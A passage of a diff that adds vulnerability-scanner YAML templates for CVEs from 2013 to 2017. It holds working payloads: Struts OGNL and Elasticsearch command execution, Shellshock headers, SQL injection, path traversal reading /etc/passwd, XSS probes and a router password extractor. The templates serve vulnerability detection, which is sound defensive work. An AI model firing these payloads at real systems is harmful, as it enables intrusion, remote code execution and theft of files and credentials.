+      - "{{BaseURL}}/index.action?redirect:http://www.example.com/"
+
+    matchers:
+      - type: regex
+        regex:
+          - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_\.@]*)example\.com.*$'
+        part: header

cves/2013/CVE-2013-2251.yaml

@@ -0,0 +1,49 @@
+id: CVE-2013-2251
+
+info:
+  name: Apache Struts 2 - DefaultActionMapper Prefixes OGNL Code Execution
+  author: exploitation,dwisiswant0,alex
+  severity: critical
+  description: In Struts 2 before 2.3.15.1 the information following "action:", "redirect:" or "redirectAction:" is not properly sanitized. Since said information will be evaluated as OGNL expression against the value stack, this introduces the possibility to inject server side code.
+  reference: http://struts.apache.org/release/2.3.x/docs/s2-016.html
+  tags: cve,cve2013,rce,struts,apache
+
+requests:
+  - payloads:
+      params:
+        - "redirect"
+        - "action"
+        - "redirectAction"
+    raw:
+      - |
+        GET /index.action?§params§:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()} HTTP/1.1
+        Host: {{Hostname}}
+        Connection: close
+        Accept: */*
+        Accept-Language: en
+
+      - |
+        GET /login.action?§params§:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()} HTTP/1.1
+        Host: {{Hostname}}
+        Connection: close
+        Accept: */*
+        Accept-Language: en
+
+      - |
+        GET /index.action?§params§%3A%24%7B%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23%5FmemberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true)%2C%23f.set(%23%5FmemberAccess%2Ctrue)%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%22sh%20-c%20id%22).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B5000%5D%2C%23c.read(%23d)%2C%23genxor%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2C%23genxor.println(%23d)%2C%23genxor.flush()%2C%23genxor.close()%7D HTTP/1.1
+        Host: {{Hostname}}
+        Connection: close
+        Accept: */*
+        Accept-Language: en
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+          - 400
+        condition: or
+      - type: regex
+        regex:
+          - "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)"
+        part: body

cves/2014/CVE-2014-2321.yaml

@@ -0,0 +1,29 @@
+id: CVE-2014-2321
+
+info:
+  name: ZTE Cable Modem Web Shell
+  description: web_shell_cmd.gch on ZTE F460 and F660 cable modems allows remote attackers to obtain administrative access via sendcmd requests, as demonstrated by using "set TelnetCfg" commands to enable a TELNET service with specified credentials.
+  author: geeknik
+  reference:
+    - https://yosmelvin.wordpress.com/2017/09/21/f660-modem-hack/
+    - https://jalalsela.com/zxhn-h108n-router-web-shell-secrets/
+  severity: high
+  tags: iot,cve,cve2014,zte
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/web_shell_cmd.gch"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "please input shell command"
+          - "ZTE Corporation. All rights reserved"
+        part: body
+        condition: and
+
+      - type: status
+        status:
+          - 200

cves/2014/CVE-2014-2383.yaml

@@ -0,0 +1,32 @@
+id: arbitrary-file-read-in-dompdf
+
+info:
+  name: Arbitrary file read in dompdf < v0.6.0
+  author: 0x_Akoko
+  severity: high
+  reference: https://www.exploit-db.com/exploits/33004
+  tags: dompdf,lfi
+
+# - "/dompdf.php?input_file=C:/windows/win.ini"
+# - "/dompdf.php?input_file=/etc/passwd"
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/dompdf.php?input_file=dompdf.php"
+      - "{{BaseURL}}/PhpSpreadsheet/Writer/PDF/DomPDF.php?input_file=dompdf.php"
+      - "{{BaseURL}}/lib/dompdf/dompdf.php?input_file=dompdf.php"
+      - "{{BaseURL}}/includes/dompdf/dompdf.php?input_file=dompdf.php"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "application/pdf"
+          - 'filename="dompdf_out.pdf"'
+        part: header
+        condition: and
+
+      - type: status
+        status:
+          - 200

cves/2014/CVE-2014-3120.yaml

@@ -0,0 +1,57 @@
+id: CVE-2014-3120
+
+info:
+  name: ElasticSearch v1.1.1/1.2 RCE
+  author: pikpikcu
+  severity: critical
+  description: |
+    The default configuration in Elasticsearch before 1.2 enables dynamic scripting, which allows remote attackers to execute arbitrary MVEL expressions and Java code via the source parameter to _search. NOTE: this only violates the vendor's intended security policy if the user does not run Elasticsearch in its own independent virtual machine.
+  reference: |
+    - https://github.com/vulhub/vulhub/tree/master/elasticsearch/CVE-2014-3120
+    - https://www.elastic.co/blog/logstash-1-4-3-released
+  tags: cve,cve2014,elastic,rce
+
+requests:
+  - raw:
+      - |
+        POST /_search?pretty HTTP/1.1
+        Host: {{Hostname}}
+        Accept: */*
+        Accept-Language: en
+        User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
+        Connection: close
+        Content-Type: application/x-www-form-urlencoded
+        Content-Length: 343
+
+        {
+            "size": 1,
+            "query": {
+              "filtered": {
+                "query": {
+                  "match_all": {
+                  }
+                }
+              }
+            },
+            "script_fields": {
+                "command": {
+                    "script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"cat /etc/passwd\").getInputStream()).useDelimiter(\"\\\\A\").next();"
+                }
+            }
+        }
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "application/json"
+        part: header
+
+      - type: regex
+        regex:
+          - "root:[x*]:0:0"
+        part: body
+
+      - type: status
+        status:
+          - 200

cves/2014/CVE-2014-3704.yaml

@@ -0,0 +1,32 @@
+id: CVE-2014-3704
+info:
+  name: Drupal Sql Injetion
+  author: princechaddha
+  severity: high
+  description: The expandArguments function in the database abstraction API in Drupal core 7.x before 7.32 does not properly construct prepared statements, which allows remote attackers to conduct SQL injection attacks via an array containing crafted keys.
+  reference: |
+    - https://www.drupal.org/SA-CORE-2014-005
+    - http://www.exploit-db.com/exploits/34984
+    - http://www.exploit-db.com/exploits/34992
+    - http://www.exploit-db.com/exploits/34993
+    - http://www.exploit-db.com/exploits/35150
+  tags: cve,cve2014,drupal,sqli
+
+requests:
+  - method: POST
+    path:
+      - "{{BaseURL}}/?q=node&destination=node"
+    body: 'pass=lol&form_build_id=&form_id=user_login_block&op=Log+in&name[0 or updatexml(0x23,concat(1,md5(1234567890)),1)%23]=bob&name[0]=a'
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 500
+
+      - type: word
+        words:
+          - "PDOException"
+          - "e807f1fcf82d132f9bb018ca6738a19f"
+        condition: and
+        part: body

cves/2014/CVE-2014-3744.yaml

@@ -0,0 +1,25 @@
+id: CVE-2014-3744
+
+info:
+  name: Node.js st module Directory Traversal
+  author: geeknik
+  description: Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary files via a %2e%2e (encoded dot dot) in an unspecified path.
+  reference: |
+    - https://github.com/advisories/GHSA-69rr-wvh9-6c4q
+    - https://snyk.io/vuln/npm:st:20140206
+  severity: high
+  tags: cve,cve2014,lfi,nodejs,st
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"

cves/2014/CVE-2014-4210.yaml

@@ -0,0 +1,29 @@
+id: CVE-2014-4210
+
+info:
+  name: Weblogic SSRF in SearchPublicRegistries.jsp
+  author: princechaddha
+  severity: medium
+  tags: cve,cve2014,weblogic,oracle,ssrf
+  reference: |
+      - https://nvd.nist.gov/vuln/detail/CVE-2014-4210
+      - https://blog.gdssecurity.com/labs/2015/3/30/weblogic-ssrf-and-xss-cve-2014-4241-cve-2014-4210-cve-2014-4.html
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.1.1.1:700"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        words:
+          - "Connection refused"
+          - "Socket Closed"
+          - "content-type: unknown/unknown"
+        part: body
+        condition: or

cves/2014/CVE-2014-6271.yaml

@@ -0,0 +1,35 @@
+id: CVE-2014-6271
+
+info:
+  name: Shellshock
+  author: pentest_swissky
+  severity: high
+  description: Attempts to exploit the "shellshock" vulnerability (CVE-2014-6271 and CVE-2014-7169) in web applications
+  reference: |
+    - http://www.kb.cert.org/vuls/id/252743
+    - http://www.us-cert.gov/ncas/alerts/TA14-268A
+  tags: cve,cve2014,rce
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}"
+      - "{{BaseURL}}/cgi-bin/status"
+      - "{{BaseURL}}/cgi-bin/stats"
+      - "{{BaseURL}}/cgi-bin/test"
+      - "{{BaseURL}}/cgi-bin/status/status.cgi"
+      - "{{BaseURL}}/test.cgi"
+      - "{{BaseURL}}/debug.cgi"
+    headers:
+      Shellshock: "() { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd "
+      Referer: "() { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd "
+      Cookie: "() { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd "
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
+        part: body

cves/2015/CVE-2015-1427.yaml

@@ -0,0 +1,54 @@
+id: CVE-2015-1427
+
+info:
+  name: ElasticSearch 1.4.0/1.4.2 RCE
+  author: pikpikcu
+  severity: critical
+  description: The Groovy scripting engine in Elasticsearch before 1.3.8 and 1.4.x before 1.4.3 allows remote attackers to bypass the sandbox protection mechanism and execute arbitrary shell commands via a crafted script.
+  reference: |
+    - https://blog.csdn.net/JiangBuLiu/article/details/94457980
+    - http://www.elasticsearch.com/blog/elasticsearch-1-4-3-1-3-8-released/
+  tags: cve,cve2015,elastic,rce
+
+requests:
+  - raw:
+      - |
+        POST /website/blog/ HTTP/1.1
+        Host: {{Hostname}}
+        Accept: */*
+        Accept-Language: en
+        User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
+        Connection: close
+        Content-Type: application/x-www-form-urlencoded
+        Content-Length: 343
+
+        {
+          "name": "test"
+        }
+      - |
+        POST /_search HTTP/1.1
+        Host: {{Hostname}}
+        Accept: */*
+        Accept-Language: en
+        User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
+        Connection: close
+        Content-Type: application/x-www-form-urlencoded
+        Content-Length: 343
+
+        {"size":1, "script_fields": {"lupin":{"lang":"groovy","script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"cat /etc/passwd\").getText()"}}}
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "application/json"
+        part: header
+
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
+        part: body
+
+      - type: status
+        status:
+          - 200

cves/2015/CVE-2015-1880.yaml

@@ -0,0 +1,33 @@
+id: CVE-2015-1880
+
+info:
+  name: XSS in Fortigates SSL VPN login page
+  author: pikpikcu
+  severity: medium
+  description: Cross-site scripting (XSS) vulnerability in the sslvpn login page in Fortinet FortiOS 5.2.x before 5.2.3 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors.
+  reference: |
+    - https://nvd.nist.gov/vuln/detail/CVE-2015-1880
+    - https://www.c2.lol/articles/xss-in-fortigates-ssl-vpn-login-page
+  tags: cve,cve2015,xss,fortigates,ssl
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/remote/login?&err=--%3E%3Cscript%3Ealert('{{randstr}}')%3C/script%3E%3C!--&lang=en"
+
+    matchers-condition: and
+    matchers:
+
+      - type: word
+        words:
+          - "<script>alert('{{randstr}}')</script>"
+        part: body
+
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        words:
+          - "text/html"
+        part: header

cves/2015/CVE-2015-2080.yaml

@@ -0,0 +1,30 @@
+id: CVE-2015-2080
+
+info:
+  name: Eclipse Jetty Remote Leakage
+  author: pikpikcu
+  severity: medium
+  reference: |
+    - https://github.com/eclipse/jetty.project/blob/jetty-9.2.x/advisories/2015-02-24-httpparser-error-buffer-bleed.md
+    - https://blog.gdssecurity.com/labs/2015/2/25/jetleak-vulnerability-remote-leakage-of-shared-buffers-in-je.html
+    - http://packetstormsecurity.com/files/130567/Jetty-9.2.8-Shared-Buffer-Leakage.html
+  description: |
+       The exception handling code in Eclipse Jetty before 9.2.9.v20150224 allows remote attackers to obtain sensitive information from process memory via illegal characters in an HTTP header, aka JetLeak
+  tags: cve,cve2015,jetty
+
+requests:
+  - method: POST
+    path:
+      - "{{BaseURL}}/"
+    headers:
+      Referer: \x00
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 400
+      - type: word
+        words:
+          - "Illegal character 0x0 in state"
+        part: body

cves/2015/CVE-2015-3306.yaml

@@ -0,0 +1,29 @@
+id: CVE-2015-3306
+
+info:
+  name: ProFTPd RCE
+  author: pdteam
+  severity: high
+  reference: https://github.com/t0kx/exploit-CVE-2015-3306
+  description: The mod_copy module in ProFTPD 1.3.5 allows remote attackers to read and write to arbitrary files via the site cpfr and site cpto commands.
+  tags: cve,cve2015,ftp,rce,network
+
+network:
+  - inputs:
+      - data: "site cpfr /proc/self/cmdline\r\n"
+        read: 1024
+      - data: "site cpto /tmp/.{{randstr}}\r\n"
+        read: 1024
+      - data: "site cpfr /tmp/.{{randstr}}\r\n"
+        read: 1024
+      - data: "site cpto /var/www/html/{{randstr}}\r\n"
+    host:
+      - "{{Hostname}}:21"
+      - "{{Hostname}}"
+
+    read-size: 1024
+    matchers:
+      - type: word
+        words:
+          - "Copy successful"
+        part: raw

cves/2015/CVE-2015-3337.yaml

@@ -0,0 +1,25 @@
+id: CVE-2015-3337
+
+info:
+ name: Elasticsearch Head plugin LFI
+ author: pdteam
+ severity: high
+ description: Directory traversal vulnerability in Elasticsearch before 1.4.5 and 1.5.x before 1.5.2, when a site plugin is enabled, allows remote attackers to read arbitrary files via unspecified vectors.
+ reference: https://www.exploit-db.com/exploits/37054/
+ tags: cve,cve2015,elastic,lfi
+
+requests:
+ - method: GET
+   path:
+    - "{{BaseURL}}/_plugin/head/../../../../../../../../../../../../../../../../etc/passwd"
+
+   matchers-condition: and
+   matchers:
+    - type: regex
+      regex:
+       - "root:[x*]:0:0"
+      part: body
+
+    - type: status
+      status:
+       - 200

cves/2015/CVE-2015-5688.yaml

@@ -0,0 +1,26 @@
+id: CVE-2015-5688
+
+info:
+ name: Geddy before v13.0.8 LFI
+ author: pikpikcu
+ severity: high
+ issues: https://github.com/geddy/geddy/issues/697
+ description: Directory traversal vulnerability in lib/app/index.js in Geddy before 13.0.8 for Node.js allows remote attackers to read arbitrary files via a ..%2f (dot dot encoded slash) in the PATH_INFO to the default URI.
+ reference: https://nodesecurity.io/advisories/geddy-directory-traversal
+ tags: cve,cve2015,geddy,lfi
+
+requests:
+ - method: GET
+   path:
+    - "{{BaseURL}}/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
+
+   matchers-condition: and
+   matchers:
+    - type: regex
+      regex:
+       - "root:[x*]:0:0"
+      part: body
+
+    - type: status
+      status:
+       - 200

cves/2015/CVE-2015-6477.yaml

@@ -0,0 +1,31 @@
+id: CVE-2015-6477
+
+info:
+  name: Nordex NC2 'username' Parameter XSS
+  description: An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
+  reference:
+    - https://seclists.org/fulldisclosure/2015/Dec/117
+    - https://ics-cert.us-cert.gov/advisories/ICSA-15-286-01
+    - https://nvd.nist.gov/vuln/detail/CVE-2015-6477
+
+  author: geeknik
+  severity: medium
+  tags: cve,cve2015,xss,iot,nordex,nc2
+
+requests:
+  - method: POST
+    path:
+      - "{{BaseURL}}/login"
+    body: 'connection=basic&userName=admin%27%22%29%3B%7D%3C%2Fscript%3E%3Cscript%3Ealert%28%27{{randstr}}%27%29%3C%2Fscript%3E&pw=nordex&language=en'
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: header
+        words:
+          - "text/html"
+
+      - type: word
+        part: body
+        words:
+          - "</script><script>alert('{{randstr}}')</script>"

cves/2015/CVE-2015-7297.yaml

@@ -0,0 +1,19 @@
+id: CVE-2015-7297
+info:
+  name: Joomla Core SQL Injection
+  author: princechaddha
+  severity: high
+  description: SQL injection vulnerability in Joomla 3.2 before 3.4.4 allows remote attackers to execute arbitrary SQL commands.
+  reference: http://developer.joomla.org/security-centre/628-20151001-core-sql-injection.html
+  tags: cve,cve2015,joomla,sqli
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=1&type_id=1&list[select]=updatexml(0x23,concat(1,md5(8888)),1)"
+
+    matchers:
+      - type: word
+        words:
+          - "cf79ae6addba60ad018347359bd144d2"
+        part: body

cves/2015/CVE-2015-8399.yaml

@@ -0,0 +1,25 @@
+id: CVE-2015-8399
+info:
+  author: princechaddha
+  name: Atlassian Confluence configuration files read
+  severity: medium
+  description: Atlassian Confluence before 5.8.17 allows remote authenticated users to read configuration files via the decoratorName parameter to (1) spaces/viewdefaultdecorator.action or (2) admin/viewdefaultdecorator.action.
+  reference: https://jira.atlassian.com/browse/CONFSERVER-39704?src=confmacro
+  tags: cve,cve2015,atlassian,confluence
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/spaces/viewdefaultdecorator.action?decoratorName"
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        words:
+          - "confluence-init.properties"
+          - "View Default Decorator"
+        condition: and
+        part: body

cves/2015/CVE-2015-8813.yaml

@@ -0,0 +1,22 @@
+id: CVE-2015-8813
+
+info:
+  name: Umbraco SSRF Vulnerability in Feedproxy.aspx
+  author: emadshanab
+  severity: high
+  description: A Server Side Request Forgery (SSRF) vulnerability in Umbraco in Feedproxy.aspx allows attackers to send arbitrary HTTP GET requests.Once you change the URL to the http://local/Umbraco/feedproxy.aspx?url=http://127.0.0.1:80/index, you able to access the localhost application of the server
+  refrense: |
+    - https://blog.securelayer7.net/umbraco-the-open-source-asp-net-cms-multiple-vulnerabilities/
+    - https://nvd.nist.gov/vuln/detail/CVE-2015-8813
+  tags: cve,cve2015,ssrf,oob
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/Umbraco/feedproxy.aspx?url=http://{{interactsh-url}}"
+
+    matchers:
+      - type: word
+        part: interactsh_protocol # Confirms the HTTP Interaction
+        words:
+          - "http"

cves/2016/CVE-2016-10033.yaml

@@ -0,0 +1,50 @@
+id: CVE-2016-10033
+info:
+  name: Wordpress 4.6 Remote Code Execution
+  author: princechaddha
+  severity: high
+  description: The mailSend function in the isMail transport in PHPMailer before 5.2.18 might allow remote attackers to pass extra parameters to the mail command and consequently execute arbitrary code via a \" (backslash double quote) in a crafted Sender property.
+  reference: https://exploitbox.io/vuln/WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033.html
+  tags: wordpress,cve,cve2016,rce
+
+requests:
+  - raw:
+      - |+
+        GET /?author=1 HTTP/1.1
+        Host: {{Hostname}}
+        Cache-Control: max-age=0
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
+        Accept-Language: en-US,en;q=0.9
+        Connection: close
+
+      - |+
+        POST /wp-login.php?action=lostpassword HTTP/1.1
+        Host: target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}success}} null)
+        Connection: close
+        User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
+        Accept: */*
+        Content-Length: 56
+        Content-Type: application/x-www-form-urlencoded
+
+        wp-submit=Get+New+Password&redirect_to=&user_login={{username}}
+
+    unsafe: true
+    extractors:
+      - type: regex
+        name: username
+        internal: true
+        group: 1
+        part: body
+        regex:
+          - 'Author:(?:[A-Za-z0-9 -\_="]+)?<span(?:[A-Za-z0-9 -\_="]+)?>([A-Za-z0-9]+)<\/span>'
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - wp-login.php?checkemail=confirm
+        part: header
+
+      - type: status
+        status:
+          - 302

cves/2016/CVE-2016-3081.yaml

@@ -0,0 +1,28 @@
+id: CVE-2016-3081
+
+info:
+  name: Apache S2-032 Struts RCE
+  author: dhiyaneshDK
+  severity: high
+  description: |
+    Apache Struts 2.3.19 to 2.3.20.2, 2.3.21 to 2.3.24.1, and 2.3.25 to 2.3.28, when Dynamic Method Invocation is enabled, allow remote attackers to execute arbitrary code via method: prefix, related to chained expressions.
+  reference: |
+    - https://cwiki.apache.org/confluence/display/WW/S2-032
+    - https://struts.apache.org/docs/s2-032.html
+  tags: cve,cve2016,struts,rce,apache
+
+requests:
+  - raw:
+      - |
+        GET /index.action?method:%23_memberAccess%[email protected]@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=cat%20/etc/passwd HTTP/1.1
+        Host: {{Hostname}}
+        Content-Length: 4
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"

cves/2016/CVE-2016-5649.yaml

@@ -0,0 +1,35 @@
+id: CVE-2016-5649
+
+info:
+  name: Netgear DGN2200 / DGND3700 - Admin Password Disclosure
+  author: suman_kar
+  severity: critical
+  description: Vulnerability exists within the page 'BSW_cxttongr.htm' which can allow a remote attacker to access this page without any authentication. Attacker can use this password to gain administrator access of the targeted routers web interface.
+  tags: cve,cve2016,iot,netgear,router
+  reference: https://nvd.nist.gov/vuln/detail/CVE-2016-5649
+
+requests:
+  - raw:
+      - |
+        GET /BSW_cxttongr.htm HTTP/1.1
+        Host: {{Hostname}}
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        words:
+          - "<title>Smart Wizard Result</title> "
+        part: body
+
+    extractors:
+      - type: regex
+        name: password
+        part: body
+        group: 1
+        regex:
+          - '<b>Success "([a-z]+)"'

cves/2016/CVE-2016-7552.yaml

@@ -0,0 +1,25 @@
+id: CVE-2016-7552
+
+info:
+  name: Trend Micro Threat Discovery Appliance Auth Bypass via Directory Traversal
+  author: dwisiswant0
+  severity: critical
+  description: On the Trend Micro Threat Discovery Appliance 2.6.1062r1, directory traversal when processing a session_id cookie allows a remote, unauthenticated attacker to delete arbitrary files as root. This can be used to bypass authentication or cause a DoS.
+  reference: https://gist.github.com/malerisch/5de8b408443ee9253b3954a62a8d97b4
+  tags: cve,cve2016,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/cgi-bin/logoff.cgi"
+    headers:
+      Cookie: "session_id=../../../opt/TrendMicro/MinorityReport/etc/igsa.conf"
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "Memory map"
+        part: body

cves/2017/CVE-2017-1000028.yaml

@@ -0,0 +1,24 @@
+id: CVE-2017-1000028
+
+info:
+ name: GlassFish LFI
+ author: pikpikcu
+ severity: high
+ description: Oracle, GlassFish Server Open Source Edition 4.1 is vulnerable to both authenticated and unauthenticated Directory Traversal vulnerability, that can be exploited by issuing a specially crafted HTTP GET request.
+ reference: https://www.exploit-db.com/exploits/45196
+ tags: cve,cve2017,oracle,glassfish,lfi
+
+requests:
+ - method: GET
+   path:
+    - "{{BaseURL}}/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd"
+   matchers-condition: and
+   matchers:
+    - type: word
+      words:
+       - "/sbin/nologin"
+      part: body
+
+    - type: status
+      status:
+       - 200

cves/2017/CVE-2017-1000170.yaml

@@ -0,0 +1,26 @@
+id: CVE-2017-1000170
+
+info:
+  name: WordPress Plugin Delightful Downloads Jquery File Tree 2.1.5 Path Traversal
+  author: dwisiswant0
+  severity: high
+  reference: https://www.exploit-db.com/exploits/49693
+  description: jqueryFileTree 2.1.5 and older Directory Traversal
+  tags: cve,cve2017,wordpress,wp-plugin,lfi
+
+requests:
+  - method: POST
+    path:
+      - "{{BaseURL}}/wp-content/plugins/delightful-downloads/assets/vendor/jqueryFileTree/connectors/jqueryFileTree.php"
+    body: "dir=%2Fetc%2F&onlyFiles=true"
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "<li class='file ext_passwd'>"
+          - "<a rel='/passwd'>passwd</a></li>"
+        condition: and
+        part: body
+      - type: status
+        status:
+          - 200

cves/2017/CVE-2017-1000486.yaml

@@ -0,0 +1,33 @@
+id: CVE-2017-1000486
+
+info:
+  name: Primetek Primefaces 5.x EL Injection - RCE
+  author: Moritz Nentwig
+  severity: critical
+  description: Primetek Primefaces 5.x is vulnerable to a weak encryption flaw resulting in remote code execution
+  reference: |
+      - https://github.com/mogwailabs/CVE-2017-1000486
+      - https://github.com/pimps/CVE-2017-1000486
+      - https://blog.mindedsecurity.com/2016/02/rce-in-oracle-netbeans-opensource.html
+      - https://nvd.nist.gov/vuln/detail/CVE-2017-1000486
+  tags: cve,cve2017,primetek,rce
+
+requests:
+  - raw:
+      - |
+        POST /javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
+        Host: {{Hostname}}
+        Connection: close
+        Content-Length: 160
+        Accept: */*
+        Accept-Language: en
+        Content-Type: application/x-www-form-urlencoded
+        Accept-Encoding: gzip, deflate
+
+        pfdrt=sc&ln=primefaces&pfdrid=uMKljPgnOTVxmOB%2BH6%2FQEPW9ghJMGL3PRdkfmbiiPkUDzOAoSQnmBt4dYyjvjGhVbBkVHj5xLXXCaFGpOHe704aOkNwaB12Cc3Iq6NmBo%2BQZuqhqtPxdTA%3D%3D
+
+    matchers:
+      - type: word
+        words:
+          - 'Mogwailabs: CHECKCHECK'
+        part: header

cves/2017/CVE-2017-10075.yaml

@@ -0,0 +1,25 @@
+id: CVE-2017-10075
+
+info:
+  name: Oracle Content Server XSS
+  author: madrobot
+  severity: medium
+  description: The vulnerability can be used to include HTML or JavaScript code to the affected web page. The code is executed in the browser of users if they visit the manipulated site.
+  reference: http://www.oracle.com/technetwork/security-advisory/cpujul2017-3236622.html
+  tags: cve,cve2017,xss,oracle
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/cs/idcplg?IdcService=GET_SEARCH_RESULTS&ResultTemplate=StandardResults&ResultCount=20&FromPageUrl=/cs/idcplg?IdcService=GET_DYNAMIC_PAGEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"&PageName=indext&SortField=dInDate&SortOrder=Desc&ResultsTitle=XXXXXXXXXXXX%3Cscript%3Ealert(31337)%3C%2Fscript%3E&dSecurityGroup=&QueryText=(dInDate+%3E=+%60%3C$dateCurrent(-7)$%3E%60)&PageTitle=OO"
+      - "{{BaseURL}}/cs/idcplg?IdcService=GET_SEARCH_RESULTS&ResultTemplate=StandardResults&ResultCount=20&FromPageUrl=/cs/idcplg?IdcService=GET_DYNAMIC_PAGEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"&PageName=indext&SortField=dInDate&SortOrder=Desc&ResultsTitle=AAA&dSecurityGroup=&QueryText=(dInDate+%3E=+%60%3C$dateCurrent(-7)$%3E%60)&PageTitle=XXXXXXXXXXXX%3Cscript%3Ealert(31337)%3C%2Fscript%3E"
+
+    matchers-condition: and
